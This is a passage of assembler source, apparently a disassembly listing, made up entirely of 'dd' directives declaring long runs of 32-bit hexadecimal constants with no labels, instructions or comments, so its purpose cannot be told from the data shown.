		dd 0A035289Fh, 0CC4C5Dh, 0D9EA2982h, 0A3D4EBh, 5AB4E87Eh
		dd 23C67D87h, 0F72D6701h, 0D50D1043h, 734FCAF0h, 0C78D74D8h
		dd 0D0011B40h, 16BB931Ah, 337860Eh, 218E8C15h, 0DA701CEh
		dd 57D41E9Bh, 0FECDE830h, 78EA4400h, 9F8B7A99h,	0D50050Ah
		dd 0ABD1F0BDh, 0DDD01A80h, 98740021h, 0E0F6C91Bh, 0DC0044ECh
		dd 1EDED890h, 2C15CEADh, 11536Eh, 0CA8F4C7Ch, 563B48FCh
		dd 1B08004Ah, 0C46D8C0Fh, 0B58A00A2h, 8B7343CBh, 64FEBE80h
		dd 5E0057E8h, 4759D84Dh, 0EF506FAh, 0EA0C7286h,	20B87E86h
		dd 59082000h, 0FE8350A3h, 0E4AB024Ah, 249F9597h, 0AF870155h
		dd 59F86877h, 765EE01h,	5102A227h, 4324C0A5h, 9F03AAC4h
		dd 9A15AB80h, 73B5A86Dh, 19A518B3h, 4F37105Dh, 987D9F07h
		dd 13614457h, 96EB4146h, 1BD7721h, 6136549Fh, 0C4DA60A8h
		dd 6203B64Dh, 8A6CEF64h, 1D1DE07h, 0D92C414h, 0E361AB84h
		dd 47034074h, 83AA0AAh,	5FB03E44h, 714EEA0Ch, 0BE015720h
		dd 8BA4F915h, 0D0CC6C11h, 446F7725h, 0B300388Fh, 0DB530EFAh
		dd 700C7732h, 0A080070h, 0E9F637BFh, 9703AB81h,	963B6C73h
		dd 0AC100083h, 8ABC68B3h, 0E1FA342h, 0E4C04EFAh, 29E29BAAh
		dd 870A0061h, 9E236530h, 9D00C2BFh, 0DFEFBC15h,	0B740B3h
		dd 0EC759FCCh, 240A48AEh, 0C3BDF21Dh, 0B2C81B00h, 7CD5A0Dh
		dd 8562B10Fh, 0D7F8D0ABh, 0E10078FDh, 9A5FAF0Ah, 55423Ch
		dd 2FD3F964h, 284C7E9Dh, 0E250FC00h, 6CFD1E86h,	55C61DC0h
		dd 7880BC9Fh, 5370082Ch, 29020C13h, 0E6631072h,	991EE0A1h
		dd 0F9F612ADh, 1943804Eh, 52305C94h, 385F189Bh,	0B2C901E1h
		dd 655EED3Bh, 491FE066h, 0BAD1BB07h, 47EFB051h,	2E20C464h
		dd 76A8F9h, 75C34838h, 684CC593h, 9A5E5801h, 0DA14FCADh
		dd 0EA3516E8h, 1EFE75E5h, 0BD4B90h, 0C3BC715h, 0CD7009FBh
		dd 6D0E9718h, 0FC1A8FC8h, 0F4C013Ah, 7790DF63h,	80B98059h
		dd 73AF36B6h, 758B0FC6h, 32C0F748h, 0E5D3EEC0h,	57AD98A0h
		dd 15EB0E00h, 7A1BBA45h, 82DA3DF4h, 0EA9EC500h,	4EA1746Fh
		dd 0D3064AF2h, 9C8626D4h, 722F3960h, 36EA6C80h,	0C6D03E1h
		dd 357E9800h, 86BFEB94h, 0A4250030h, 2991D66h, 91053D1Ah
		dd 0CFD4DA69h, 16D7A040h, 0E5598Ch, 0E71567A1h,	9148DAFFh
		dd 9F9EB300h, 9464B6F0h, 1F8B00C9h, 61145B89h, 0D22CB45Ah
		dd 760101BAh, 804CB319h, 18E5D0h, 32824807h, 9C8B7875h
		dd 1B032F07h, 94333C7Dh, 188DA06Ah, 7076BAh, 3895AD5Dh
		dd 5F9BDE15h, 0A0910700h, 0D4FBF983h, 0CFE50024h, 796FF029h
		dd 940073DDh, 44B5E089h, 0A23031h, 0CF16C7A5h, 3BE33ECDh
		dd 890E0BF6h, 8068C6EDh, 2D269399h, 0BDA8C0BBh,	0F0AAD20Dh
		dd 0B4AD9709h, 25EA00C4h, 3F28F3EFh, 0E0BE0146h, 0DD9CD186h
		dd 300578CCh, 8AB23391h, 1F491086h, 0C0FDF182h,	8376AA77h
		dd 0C9006639h, 9DF89B99h, 0C8CBF9h, 3477ECACh, 0A2034FE7h
		dd 2A597000h, 654CE8A4h, 37571871h, 0F8BC511Fh,	889B1C07h
		dd 0F6839418h, 8E7D960h, 3A952E0h, 44DAE4B1h, 0A5BAFCh
		dd 4A7A2888h, 240EBD0Ah, 0A0DC56B4h, 4F3E9A9Bh,	0A6E100F9h
		dd 521DD871h, 1C0F7F78h, 20F398E2h, 0BADF354Bh,	0F8CA00E3h
		dd 77B89EE8h, 0B437847Ah, 0DE760847h, 60200120h, 0A8CFD3E8h
		dd 750F20A3h, 0C35B1707h, 507C3923h, 0D5F68CD9h, 6FB8E108h
		dd 407C6425h, 5FD5611Dh, 0EF6B00E0h, 7608F251h,	0D9003196h
		dd 0E8AC2FF5h, 0C906C6Dh, 3BCA8E24h, 9500D218h,	2AF1BAF3h
		dd 628F2652h, 6683702Bh, 0AB1650E0h, 7E992700h,	0E2C636D0h
		dd 8C20C02Ah, 326FB179h, 7001579h, 0BBDCACE9h, 88906Eh
		dd 0D21BDDDBh, 0F49E2BF2h, 7A4CCA3Eh, 612AA8C0h, 0F922D3BEh
		dd 35FF1180h, 0DAAF7F45h, 5E86A718h, 0C0BD2209h, 47AD1F20h
		dd 500850Eh, 0D735F490h, 617CBCE0h, 1BF6D081h, 2F7183FAh
		dd 4654F04h, 0EF7B8C18h, 2A940255h, 7370908Fh, 17363AB1h
		dd 61C63788h, 2301A891h, 6AA5B169h, 870FFCDCh, 7C409307h
		dd 0EFC0BEF9h, 1875F05Ch, 6691E09Ch, 7600153Eh,	189A5FDh
		dd 0BD2CBEh, 34EC616Eh,	0B935AA5Dh, 0FA26D33Dh,	6C867203h
		dd 813CDC25h, 8FC0E904h, 0CA7DE4h, 9206D898h, 4BA8F846h
		dd 67FBC300h, 1384B7A0h, 487F01CFh, 0D5218954h,	5BE06FB3h
		dd 0BB40009Bh, 2BCC3F41h, 0A2006E30h, 61531F0Fh, 192D270h
		dd 579A02C1h, 0CCA13BB0h, 0A700CA23h, 4AD8B4E6h, 0D670AFh
		dd 8706E038h, 0AC020AE3h, 7ACABB00h, 734142DFh,	0BA400D3h
		dd 479BA974h, 0C6FA842Bh, 291CB801h, 43D9676Dh,	0F76270h
		dd 5237518Fh, 59A6BFB4h, 0B5244400h, 68EAA936h,	8AA700D8h
		dd 0F6928920h, 0B40055ADh, 4BF53B01h, 0F4317E5h, 0AD71221h
		dd 6DCFF820h, 0D8007F26h, 0C4B8D999h, 64CA72h, 78110F56h
		dd 0E2B46DEFh, 30AA2003h, 88CD03C3h, 0C2FF43h, 9F68BFA5h
		dd 0FB9876FEh, 0B2A37800h, 0B1D55EC0h, 1E48C365h, 18EE06B8h
		dd 51A9A00h, 0BD14554Bh, 3811400Bh, 0CD414003h,	3E897BCh
		dd 0DF54C0B1h, 0BDE96F26h, 7053E084h, 95E90200h, 0F9CD40BEh
		dd 0FCE40C76h, 0D2480555h, 90DA5Ch, 5FF349C8h, 1E2F56Eh
		dd 0BD90DEADh, 0F0469B0Ah, 603092DDh, 0C2DA180Fh, 0B19C0082h
		dd 55A00A21h, 8D374453h, 7CF650F0h, 1E9F00E0h, 0FD5BC5CAh
		dd 75015D85h, 9B9DFD2h,	0CCFEC89h, 9FBECC38h, 2B000EB8h
		dd 0F02F9196h, 278B10h,	0C8A01A78h, 1F079EDEh, 40551200h
		dd 77BB3CECh, 0B0580082h, 0E06CD20h, 0BAEC03DAh, 0ECAEAC01h
		dd 28B919Eh, 18CA1C8h, 3E04E496h, 401B0A75h, 65C1168Ch
		dd 3D883500h, 0FE82CF4Eh, 0E792008Bh, 9F0138A2h, 7B601141h
		dd 0EE8C0550h, 0DE20317h, 29C3F555h, 6407390h, 0D4B8C700h
		dd 0F28ED522h, 0F1CE0CCDh, 0A7382CCAh, 0ABFC4B18h, 0F6DF20h
		dd 44882A77h, 5E122510h, 844EC500h, 2F22E9A5h, 0C108678Bh
		dd 40A3E750h, 59FAEB38h, 0D8072100h, 0B6C461CDh, 6CEA6Dh
		dd 8CAFB437h, 315B9F1Ah, 40906E2h, 80CE12BDh, 8FCF355Eh
		dd 1DC00377h, 9F7FDDD8h, 41CA880Ch, 0FCF9692Ah,	72B80054h
		dd 4E8E93F0h, 641D22BBh, 0A947D0D2h, 38C0079Ah,	6FC1CD3h
		dd 48A12BF5h, 0F420D866h, 2C3507C3h, 4F14DB55h,	1E063745h
		dd 802F85A0h, 0C58442CBh, 5D21A73Eh, 0AC424DBDh, 0CFF8811Fh
		dd 0C0CA63B5h, 7002F0F7h, 8958003Eh, 0A99E152h,	0C33E5FD2h
		dd 0BC2200C9h, 6C59F503h, 61A61292h, 58C8008Eh,	0E84F95B7h
		dd 0BC205D00h, 0AE42E452h, 6A5A00DEh, 1831C3A0h, 0D000D6D4h
		dd 56FC6C24h, 0E49B440h, 0DF5F3236h, 8997CF83h,	0EBBA55A8h
		dd 39773500h, 9AD6499Dh, 35F65C7Eh, 0C5541Eh, 0AEABB62Bh
		dd 5D3AA795h, 17DCCCh, 4CCB6624h, 0EAE7BFCAh, 0E733E67Ah
		dd 529460h, 4571D0ECh, 98F25DC5h, 753B9E00h, 4AD687DFh
		dd 0AC32092Ah, 0EF80BBB3h, 0DB5793E8h, 0C56A8800h, 2A9B8B42h
		dd 3941180Bh, 0CD92A11Bh
		dd 0E63D870Fh, 9838801Fh, 6EF59EC6h, 1906B04Ah,	7D0CA0ADh
		dd 19FC0323h, 94330C60h, 0A2206AAEh, 0CEB8520Ah, 5E01846Eh
		dd 5080A1Ah, 0C0C7F1E8h, 0C90EA730h, 0F2008975h, 92FE72E3h
		dd 0E5C9555h, 8BF426BEh, 13949D61h, 0FF64C05Fh,	3CDB7E00h
		dd 9A1E5608h, 86EA0092h, 0CF37BBABh, 50E1918Dh,	0D38EB824h
		dd 43852400h, 0F8804C40h, 3F19147Bh, 720CC852h,	69884BA1h
		dd 1761ACEh, 0D03F8FA3h, 0A001F8h, 0EC38C5DEh, 0CE58EA2Ah
		dd 0CCA093E0h, 0B8090327h, 4D1536Dh, 61805F6Dh,	540996h
		dd 20260123h, 0E3BB2F50h, 0CD171F00h, 188AFD8Eh, 7EF7F0E1h
		dd 3C9100E7h, 1445C267h, 247CF6F9h, 8B1A3700h, 531C6DFBh
		dd 5BAA1365h, 0CA2E0E85h, 0C6E5D160h, 3A005D35h, 900C3FBBh
		dd 0B81B2633h, 0B6C8C01Fh, 0C171418Ch, 0A006AC01h, 10D86D23h
		dd 10707FF5h, 0DB9F0193h, 96C88D40h, 1F4C20D0h,	0E002032Ah
		dd 2572058h, 31C553F8h,	6294A3D2h, 0D484C816h, 5E4C0708h
		dd 7C29F7Ch, 0A96FC27Ah, 0BDFC0440h, 0C28848h, 0D73A0BFEh
		dd 0F8D5BD3h, 0B8319D4Ch, 0EF5DF5C0h, 217361ABh, 49A61D0Eh
		dd 0A1F08094h, 11689Ah,	0ECED66FEh, 736BD064h, 6CC63A1Ch
		dd 0B0204518h, 2C6700BBh, 11B5B727h, 48E2F0A1h,	6008878h
		dd 207DD0E0h, 6A5601ACh, 221361C4h, 42C7030h, 8374ECEAh
		dd 0BE97216Ch, 71077007h, 8107D959h, 8E379D3Ch,	0BF8327C0h
		dd 8FCC0198h, 0F175E0F6h, 7BBDC407h, 4D4B6C00h,	389C1F4h
		dd 562E014Fh, 0E6277D72h, 80FFD170h, 84DFF158h,	0C7BA08h
		dd 0D307E3CAh, 7BDB2245h, 0DD1DC307h, 8C9EBF97h, 6A1517Dh
		dd 681F5434h, 3AF040B4h, 2006E800h, 71958316h, 9D920F58h
		dd 0F5405EAEh, 0D9E178A1h, 8B503700h, 0F1BBE5B4h, 0EFD10C3Eh
		dd 3FC890DBh, 0A5337F01h, 7049234h, 0A06D63C8h,	0E4032C60h
		dd 704E2149h, 2A53488h,	6E088566h, 4244F5E0h, 0E2FF5A00h
		dd 0E7940B4Ah, 0ECA23756h, 4BF9F048h, 980026C9h, 5FE2232Ah
		dd 800ED6h, 1E3B1715h, 818FCB8Eh, 7F492400h, 0F6769AB3h
		dd 60D7EE58h, 32F31086h, 4A031043h, 7B961229h, 55BA83Dh
		dd 1159009Ch, 8CBF56C3h, 0A400D851h, 8362BA2h, 7167191h
		dd 0F92C1F99h, 0C7CDC7CBh, 5D97C050h, 9AECE86Fh, 190B1398h
		dd 4FC8960h, 0C780E91Ah, 0EC1FA0Dh, 37918229h, 45948360h
		dd 6300D385h, 0EDBDC21Dh, 0E06F9Ch, 5B2872BEh, 417ABAFEh
		dd 86030E00h, 9466844Fh, 2A3F0F73h, 4EE09A39h, 85D4D046h
		dd 25017A01h, 90F2BB48h, 0F7465ECh, 0B3CBFEB2h,	0D1A35200h
		dd 9B0014D6h, 642AF727h, 1BA01BDh, 4779A588h, 0F06780A6h
		dd 1000DE66h, 0DABD8B41h, 1323D97h, 0FDDBEC5Eh,	0CCDD9DC2h
		dd 231E2191h, 3E40A62Eh, 0ABF56165h, 1A88001Ch,	7F6F2070h
		dd 0ADE8E00Ch, 0E496801h, 64876AC3h, 3C4DF4h, 62CC76A4h
		dd 672A1DCAh, 6C4B1B1Eh, 813B0C00h, 0FE7026D2h,	7931C054h
		dd 4A142AC0h, 0E47603Ah, 0E038E643h, 727A09DBh,	0C7D700E8h
		dd 1B01DA89h, 71177C99h, 6FCD561h, 2A97F603h, 0AFA88883h
		dd 30043DFh, 171B34EEh,	0E251D8h, 909B3E97h, 89F6EC5h
		dd 0E0A8FF00h, 0C35487C8h, 0FEB7EEB9h, 78F10059h, 110A9C2Bh
		dd 2000E258h, 0F776063Dh, 86D8D0h, 0A34962F5h, 9BFBB609h
		dd 0A94EE601h, 99CC20CAh, 3441FF8h, 94E48974h, 0DBE07E32h
		dd 5B3BDC2Fh, 0EEBCCB2Ch, 0D073AE07h, 0E1C4C0EEh, 9D0352C9h
		dd 95674713h, 82F2A885h, 0E8975177h, 5C1FC0ECh,	0F60FE69Eh
		dd 0DD207EDCh, 0ABBCDE31h, 811A3D03h, 3F0D864h,	1B0C8AD4h
		dd 0ED823C5h, 0C600A5FEh, 988C3170h, 325E1F4h, 0DAAA3C62h
		dd 0DCFBE2A4h, 0B5593FE0h, 9766C900h, 44FD611Eh, 18A70F08h
		dd 0A0608F33h, 2E2032D1h, 8CCDE100h, 4CD51A2Ah,	4DFF0175h
		dd 0F35B1C7Ah, 0C199E428h, 2702CF0Fh, 0EE1DA065h, 4EB2D7h
		dd 77D4A3D3h, 7928F27Fh, 87570B00h, 92995CE3h, 0FA3EF462h
		dd 0BD6FEDEh, 0A48F31FCh, 0E00F3780h, 9E004961h, 68773436h
		dd 793E6F7h, 3B3FD310h,	14D2C0FDh, 3E009823h, 31137719h
		dd 117D3Ch, 6E7046F1h, 501FA693h, 43A50C03h, 0A8C7E812h
		dd 7EF973DBh, 0AE5C00ECh, 0EBF7DF42h, 3F07DD0Fh, 985A2D05h
		dd 0FDCAEC80h, 0EE4D0E3Ah, 8A20F635h, 9C21DF7Fh, 2D002898h
		dd 41754A72h, 1D6809CAh, 805FD40Dh, 0F8DDCCB3h,	0A407958Fh
		dd 63B61C3h, 18C5709Ch,	0CCF98E72h, 1000E93Eh, 365AB970h
		dd 0FA3DFADh, 853F1754h, 0F21201A0h, 1E13C7EDh,	0FC0A6B40h
		dd 22282466h, 92679D00h, 26D89F4Ah, 914B00D0h, 0B1CF34EBh
		dd 0BA24838Bh, 6B001816h, 0FECE80BEh, 79360023h, 93291E31h
		dd 8F0002D5h, 0E75C9F6Fh, 0A2419h, 0EC09B383h, 584C9C36h
		dd 0B2B62001h, 0A475D697h, 0F46657DCh, 0FA5405FCh, 0C0C6A7ACh
		dd 565EA05Ah, 3EC5B2C0h, 528F6Ah, 4A2E7337h, 8A8EF20Ah
		dd 42A5BB03h, 0B020991Fh, 3AABE52h, 35043AE7h, 32D090F4h
		dd 7707929Fh, 0FCCAA3B3h, 331A86A0h, 9A400BAh, 7F765F3Fh
		dd 0E031232h, 0AB63727Dh, 0F76BA0C6h, 3C0C00F9h, 0D181F3A7h
		dd 5100C0E9h, 38D8ADD5h, 0E1FBC9h, 0CE5F2B4Bh, 7B86C657h
		dd 7D4C907Fh, 46B30EEBh, 0FBF8A08Ch, 0E08528h, 4176B8F3h
		dd 0BD829E4Eh, 0F7FF0205h, 4000759Ch, 7C1A3356h, 0C8A850D1h
		dd 11FF00B4h, 0DFA7B7AEh, 0EA006294h, 0E6D09EBDh, 380566h
		dd 6D8721D6h, 835F138Eh, 5452EF58h, 4300495Ch, 9575CE0Bh
		dd 90FE5484h, 91A90260h, 9BDD57F0h, 4A98384Ch, 0EA338A0h
		dd 0D189051Eh, 0E2673740h, 31F72BD4h, 0B340FF16h, 0EC08247Ch
		dd 1AC03Fh, 0EE1BF5D2h,	79A71E11h, 4387A56h, 684A5AB8h
		dd 0A0408753h, 0AA6DBB07h, 0FCD41613h, 178C9800h, 0F2B9C2h
		dd 0C62AEDA1h, 453E5468h, 32DE3B00h, 9EFDC8C5h,	9C03127Fh
		dd 6B620343h, 0FDF5414h, 8A717AC4h, 0B13E002Ch,	50476F9h
		dd 9B3758D4h, 0F54A2500h, 92094FBAh, 94580100h,	0E9EA4414h
		dd 659E00A6h, 0EA962AEh, 0B60FE723h, 805D84B7h,	373A18EFh
		dd 0A2C300D8h, 5C19E5E8h, 290054BBh, 1D154785h,	0F94184Bh
		dd 87166550h, 0E8256483h, 0BEC50698h, 9C02A30Ah, 2A0FACB6h
		dd 77B4C20Ch, 1280A0ECh, 1A1F30h, 0D2F5B1D3h, 5FC58D47h
		dd 7BC85D00h, 6C68C90Ah, 7C0E009Fh, 788F56A1h, 0E2F471BFh
		dd 19393Ch, 60D23C6Eh, 0F89FCE1h, 86457C65h, 98A17E02h
		dd 532BF0C0h, 0F9EB3400h, 0CDDDDBC0h, 4A8E07A9h, 20D6AF1Dh
		dd 72E938B6h, 1A07AA73h, 2D81AEEDh, 2798B350h, 33730064h
		dd 75F57FADh, 232C51F2h, 2F00EF3Dh, 1DA7FA44h, 2EEE0214h
		dd 8AB8B994h, 3AD7F4A0h, 643B7F90h, 5599038Dh, 0C86D854Eh
		dd 1793C0h, 0AA27E0B0h,	90CD787Ch, 49E5E4A8h, 0FFB18A0Bh
		dd 3FA2804Eh, 9BCA6E2h,	0BB1A735Ah, 0B420D80Fh,	5EDDBA6Ah
		dd 0FB24B872h, 64180DD8h, 4A1D60h, 4F7E9188h, 6B96E523h
		dd 0C70999E6h, 9465FB43h, 6E670098h, 0F71905C0h, 98002AB1h
		dd 9061B3E0h, 4A96472h,	0F27741F9h, 65689239h, 0B210EA27h
		dd 0A7A09Fh, 0E3B11078h, 893BD0DFh, 0F54C5D09h,	781CCEh
		dd 0B7F872EEh, 32F7D614h, 0A2351F00h, 28F58A20h, 0C7E30024h
		dd 96688822h, 3A07F8D9h, 898B9CEFh, 9AD56340h, 0BD4F05BCh
		dd 0C06C5BD2h, 5F720A98h, 0B8DB2700h, 95AE24B9h, 751900FAh
		dd 4FA67A02h, 0B200D1D8h
		dd 3F7E7762h, 3EBA7B09h, 2F80BD27h, 0F4162894h,	3907B12Ch
		dd 1D4C9A21h, 0DAD0808Bh, 984E7Bh, 0B9F85129h, 76208ED7h
		dd 0E900AE78h, 174DA52h, 1714032Ah, 0E781A3h, 0CF97829Ch
		dd 9A073287h, 4284C06Bh, 60DA68F0h, 4EF8E7h, 9587BCDh
		dd 25BE355Fh, 49A6DC17h, 2A269900h, 4ECFCEh, 0C27A2361h
		dd 0A4E66843h, 0BD953400h, 0F2AF17DCh, 0B20500E2h, 24F802BCh
		dd 0B30F5C7Fh, 65C21119h, 90C03F5Dh, 444738h, 0B75721Bh
		dd 8BB3B0CAh, 8C2B4B1h,	0F3CA10B5h, 703EA500h, 511625DFh
		dd 0BA12009Ch, 3C072048h, 49FE10DCh, 750865Ch, 0C6B835FAh
		dd 4F94A049h, 0E4763959h, 183813CBh, 0DA980014h, 0F7C92F1Bh
		dd 96C8370Eh, 0DF2060D5h, 54161732h, 13C9F0F5h,	0CE6279Dh
		dd 33383539h, 1E8A5F04h, 40A07A47h, 70E6004Ah, 50E16B3Ch
		dd 210027B5h, 8EC73165h, 32C690h, 1B4ED158h, 7A50B264h
		dd 97841A00h, 3F57A691h, 0D03E0FE4h, 0F9802E94h, 0E356E706h
		dd 14EFAA1Ch, 25E20E04h, 2C00208Ah, 16A1B1C5h, 8500AF8Ah
		dd 0C580DE7h, 3045D006h, 1C285D9Ch, 0E107F9E4h,	0BD44BA9Eh
		dd 41CE7E60h, 9FF40098h, 0EB65208Fh, 4A008762h,	0C5976778h
		dd 3E030426h, 0ED974EBDh, 6A2E00BFh, 85C07606h,	3AD82900h
		dd 0FBDD4AE7h, 2CEB4DE3h, 8CADEA00h, 0A3CA6098h, 0F363CF02h
		dd 42FBE876h, 836780ECh, 0E62D2739h, 0D90513DEh, 6852E1h
		dd 0FD238930h, 5010AC8Ah, 6DC23A1Fh, 4300A349h,	3DEE828h
		dd 0F9AEAD85h, 0C8A87E32h, 0D1050F9Eh, 3D54D052h, 8D02B090h
		dd 722E44Ch, 3E803615h,	0DB88003Ch, 85C669Ch, 8AA40094h
		dd 0C7B14F5Eh, 0F2B07027h, 0B9AC7790h, 0C9400D8h, 0F48D5176h
		dd 0ADC55401h, 7EDB4723h, 718BFC59h, 0FC0362DDh, 0C200CB8Dh
		dd 28DAF69Fh, 0C3B710h,	0CF22A1F0h, 279E9BB9h, 0D471A972h
		dd 32792809h, 2E104CC6h, 67E88EFAh, 8A6CE2C2h, 6018A483h
		dd 4DE06FDBh, 0E4FC44BDh, 2F14A800h, 7C029F48h,	86705A6h
		dd 0C0E01884h, 11D2253Ch, 3485BD00h, 8241EDB9h,	8FCD0180h
		dd 0D186C94Dh, 0C423D5C4h, 0FA0F0325h, 47D8ECh,	181A04C1h
		dd 31AD005Ah, 30FD3CE9h, 7100E60Dh, 2B84229h, 2026F9h
		dd 9A55430Eh, 731012Bh,	0AD00B7F4h, 8436C4C7h, 1309DB9Fh
		dd 0A2F82Dh, 0FD55ABB7h, 312680E0h, 0EE09A82Ch,	74A4808Ch
		dd 0F8DF322h, 337AB55Fh, 3B324D21h, 5A48F96h, 0F9C33FF6h
		dd 0A8C8AA4Eh, 97EC8Eh,	21551E89h, 2A38BBE3h, 3E1D71Eh
		dd 0C1712380h, 57B38Bh,	85616AA4h, 504DB66Ch, 0BF2F77Bh
		dd 6DEE25h, 581BDC4h, 4CB039B8h, 8DFF1B94h, 0BABF4400h
		dd 2755B452h, 0B7A4AC00h, 985078EBh, 0D7D93E32h, 4093749Ch
		dd 8565F84Fh, 0BA04B592h, 5277ED14h, 0D7295C80h, 2C100357h
		dd 47B1351Ah, 113707Ch,	700BB713h, 6D698053h, 106EB18h
		dd 990FAE87h, 827F1F2Ch, 72F04C21h, 13B4C08Ch, 995726F9h
		dd 0E96903B0h, 1800A7C6h, 0AF489F29h, 12EF9682h, 812A51F3h
		dd 3068D94Ch, 78DDEC12h, 732BAB83h, 5D80997h, 0FF815F87h
		dd 7057DDB9h, 0A2639423h, 0A2D85679h, 479140F2h, 99D900BCh
		dd 319C4F64h, 418005ABh, 269000FBh, 84F8C49Eh, 88005249h
		dd 543556F1h, 2535960h,	1CD5FAF6h, 0F580D9D2h, 0C6660421h
		dd 4D0E5100h, 6AB23ED7h, 0E0E13C2Dh, 36A67E80h,	3ABF9FC2h
		dd 7A6E6909h, 9BC500BEh, 4AFF0h, 0BB9CA238h, 6DBDF6B3h
		dd 69A04F00h, 0FF6AD55Ah, 0E93B0071h, 929C9D46h, 310015A9h
		dd 85139B70h, 1C65DCh, 87D4B1F3h, 0C1588CFEh, 0BCBECA3Ch
		dd 0ECF1A417h, 0D772CE00h, 0A61B2Dh, 1503D9D5h,	0E0B1F867h
		dd 0BDDE7500h, 45D84012h, 0DB312779h, 0C4A30800h, 0D10034F4h
		dd 3356D60h, 583B7B20h,	0BB13641Bh, 24D91EB7h, 103EB90Ch
		dd 0E480E127h, 0DE7CD442h, 2E3DC873h, 0A8BE8746h, 0F97007DFh
		dd 4AA75Eh, 43DA0880h, 0BF7C6484h, 6A128278h, 1C8Bh, 2580EE9h
		dd 2B2EE35h, 93AC7F22h,	38482E5Fh, 0A900315Dh, 56BBBC65h
		dd 0F085D789h, 0EA8A3887h, 3BA3C000h, 88EC513Eh, 687F9907h
		dd 9116EE05h, 81121DA0h, 776500F5h, 2F83ED1Dh, 0A4D55Ch
		dd 36B51926h, 0A3464B4h, 0CC4887B8h, 527F0088h,	9E758149h
		dd 0CEFA58h, 0C562252Bh, 2A4BDE7Dh, 1EB85BB1h, 7145177h
		dd 0E0B2126Ch, 79BE8FFDh, 87AA3306h, 50CD01h, 4A268B4Fh
		dd 21A4BA1h, 6CE3C701h,	85FD63A9h, 887BD8h, 20EBD9B0h
		dd 80A1FEF5h, 3A01F009h, 83D8A05Ch, 0BAD2A3B7h,	8D53282Ch
		dd 52FE44E0h, 5B1D13Bh,	8C5F94B2h, 0B687AC40h, 0C73D26Dh
		dd 12A11608h, 537A10FEh, 1B958800h, 71F36AFCh, 1A420017h
		dd 61B0D490h, 0EA00BD30h, 0BB4F376Dh, 0E299E8F1h, 54E5038Ah
		dd 0EF3BB611h, 2E80759Bh, 0E1F88957h, 52072A2Eh, 2DC48E00h
		dd 181324DAh, 38C20D6Eh, 93380F1Ah, 7E00FCABh, 0B4BCC1BFh
		dd 775404Ah, 980885FFh,	9C05013h, 57008C2Eh, 44161979h
		dd 603880h, 881356DCh, 0BF0D4293h, 4D7CF201h, 0F6713DC3h
		dd 723460h, 0B244868Bh,	24316128h, 405DE58h, 212D83C5h
		dd 0D4E4AFC0h, 0E9A70020h, 87711768h, 8500FA60h, 9D2A09C9h
		dd 0E0741536h, 16E70038h, 0DE1F019h, 0D600F68Ah, 0C04A7BF7h
		dd 0E932F4Fh, 6E9D5E3h,	0BEBD1BA0h, 42759994h, 9BAB610Ch
		dd 3FC708A0h, 5D005570h, 0A16B93EFh, 1F00ED26h,	5B73D436h
		dd 0C76CD7h, 5549701Dh,	31CA4D0Ah, 3CDB900h, 81D77D53h
		dd 47C22h, 1DBE2BCFh, 0AC0C8AF9h, 0CEE59900h, 2251E9C8h
		dd 6877674Dh, 0D149A01Dh, 873C5A26h, 0CF5800BFh, 0B6278F6Ch
		dd 0FF1A0E92h, 468691E6h, 0B80B2082h, 80C264ABh, 2F275C37h
		dd 9B0B009Dh, 0FC9E5425h, 0CF00EF73h, 0A9FFCBC2h, 0A1597Bh
		dd 0F5F7FA9Fh, 810AEB58h, 80FDB23Dh, 781EE768h,	486955h
		dd 4D092FF2h, 1D99CC97h, 0F93B18C0h, 1E2131DBh,	39633534h
		dd 2C9E4881h, 0C4923DAFh, 0BD05A5AAh, 462AE81Ah, 0F49C8801h
		dd 41D547C5h, 4A6DE882h, 70A0259Ah, 0C20C6C6Ah,	1757ED10h
		dd 8088138Ah, 9F6B50BDh, 7300087Eh, 0BB0B6FE3h,	0E7A32CCh
		dd 50598190h, 9C00A2EFh, 861543ACh, 0FF14D503h,	0C819C716h
		dd 17C942h, 0CA9709DAh,	0E0649ABDh, 82AEDE03h, 0B01CD1CCh
		dd 95E43Ah, 2EEFAB4Ch, 0F96205B3h, 0C5B7252Ch, 10B8FE00h
		dd 0BA7C75h, 42738C9Bh,	2C32C6A0h, 0DBAC5E00h, 3BA8AAA4h
		dd 8E533E17h, 23D5CA4h,	1BCD42E5h, 9D0B360h, 70175517h
		dd 52CF8900h, 3DD112F4h, 1E3E97CDh, 0D5005E3Fh,	26DD5A32h
		dd 0C5004861h, 360B03F4h, 6ED21Fh, 0DADE4B13h, 6769F702h
		dd 0AE3E9300h, 3B16B72Ch, 0B0F05Bh, 313AD7C0h, 0E53F161h
		dd 544FD10Fh, 935A6082h, 0F887856h, 7C9B34ADh, 3B5BD4E0h
		dd 920E53B4h, 0A09555E4h, 0E1783DA2h, 90930065h, 0E9E8FB31h
		dd 7307F08Eh, 744110A0h, 0AADAE340h, 238B0991h,	3CF04F96h
		dd 17FF0901h, 52AECC4Eh, 31815881h, 0CBA37DA7h,	86B3700Fh
		dd 90D68CB5h, 0C0545090h, 1120C377h, 9982AA09h,	47608860h
		dd 0E6537F00h, 0C1FCE072h, 0D0C00090h, 2EE15CDh, 0D30063E9h
		dd 53B9EBB3h, 0C26611h,	0C9F0928Bh, 0AFB097BFh,	7DA28700h
		dd 834CCA02h, 513F00C6h, 2A7CFA53h, 17030420h, 0D8D56BCCh
		dd 140880F8h, 33090467h, 0C3BA5F66h, 3C80C7FAh,	0D800554Dh
		dd 0FD08783Eh
		dd 7716F835h, 0AA800777h, 70275ABAh, 15A22E14h,	17D6F700h
		dd 0C3FCA45Bh, 0BD22003Eh, 1F4DFFAEh, 0A00B6DCh, 0E33CB7DFh
		dd 75F5D7C2h, 0A067003Ah, 0F4719598h, 0B43A4F85h, 5762878Ch
		dd 0A81034D1h, 0DDF5BDh, 338D7905h, 0E5E68280h,	98992B00h
		dd 4A196C44h, 48686070h, 0D42CD1A2h, 300109F4h,	0A4A62AB6h
		dd 6980E1F9h, 1F7E2FE9h, 1D007838h, 8D9D3B80h, 626D01E6h
		dd 4F3A51A0h, 0F220D619h, 0A831711Ah, 806BBB28h, 7E002E6Ch
		dd 37123B0Ah, 7C44C9C7h, 5020097h, 9A43AEB9h, 3307E872h
		dd 18B16B4Ah, 0EDA5F040h, 26960EC1h, 95C550F9h,	6BF7C0DBh
		dd 5D00DA1Dh, 0AAC4AE8Ch, 74ACC6h, 762E0B3Fh, 4BF6D14Ch
		dd 0B30278C3h, 7E06002Bh, 0B4AA9621h, 0FC2ED43Ch, 0AC1DD8AEh
		dd 0F641F59Eh, 0D3882D22h, 90E583D4h, 907439h, 5AD198D9h
		dd 38EE20C7h, 0B0C42F00h, 2A0FF876h, 23BA0068h,	0D883778Fh
